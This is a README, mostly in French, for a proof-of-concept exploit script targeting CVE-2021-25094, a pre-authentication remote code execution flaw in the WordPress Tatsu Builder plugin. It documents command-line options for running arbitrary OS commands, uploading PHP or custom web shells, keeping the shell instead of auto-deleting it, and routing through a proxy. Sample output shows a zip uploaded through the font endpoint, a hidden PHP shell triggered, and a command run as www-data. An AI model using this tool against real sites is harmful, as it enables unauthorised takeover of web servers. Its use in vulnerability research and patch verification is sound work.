darkpills/cve-2021-25094-tatsu-preauth-rcePreuve de concept d'exploit pour exécution de code à distance non authentifiée dans le plugin WordPress Tatsu Builder (CVE-2021-25094). Prend en charge plusieurs techniques de shell, proxy et niveaux de compression.
PoC simple d'une RCE sans authentification dans Tatsu Builder <= 3.3.11 fourni à titre d'exemple.
Article complet ici : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
Usage:
python3 exploit-rce.py [-h] [--technique TECHNIQUE] [--customShell CUSTOMSHELL] [--keep KEEP] [--proxy PROXY] [--compressionLevel COMPRESSIONLEVEL] url cmd
positional arguments:
url Wordpress vulnerable URL (example: https://mywordpress.com/)
cmd OS command to execute
optional arguments:
-h, --help show this help message and exit
--technique TECHNIQUE
Shell technique: php | htaccess | custom
--customShell CUSTOMSHELL
Provide a custom PHP shell file that will take a base64 cmd as $_POST['text'] input
--keep KEEP Do not auto-destruct the uploaded PHP shell
--proxy PROXY Specify and use an HTTP proxy (example: http://localhost:8080)
--compressionLevel COMPRESSIONLEVEL
Compression level of the zip file (0 to 9, default 9)
Example:
└─$ python3 exploit-rce.py http://wordpress/ id
|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress plugin <= 3.3.11
|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)
[+] Generating a zip with shell technique 'php'
[+] Uploading zip archive to http://wordpress//wp-admin/admin-ajax.php?action=add_custom_font
[+] Upload OK
[+] Trigger shell at http://wordpress/wp-content/uploads/typehub/custom/hjf/.bfzwt.php
[+] Exploit success!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell file has been auto-deleted but parent directory will remain on the webserver
[+] Job done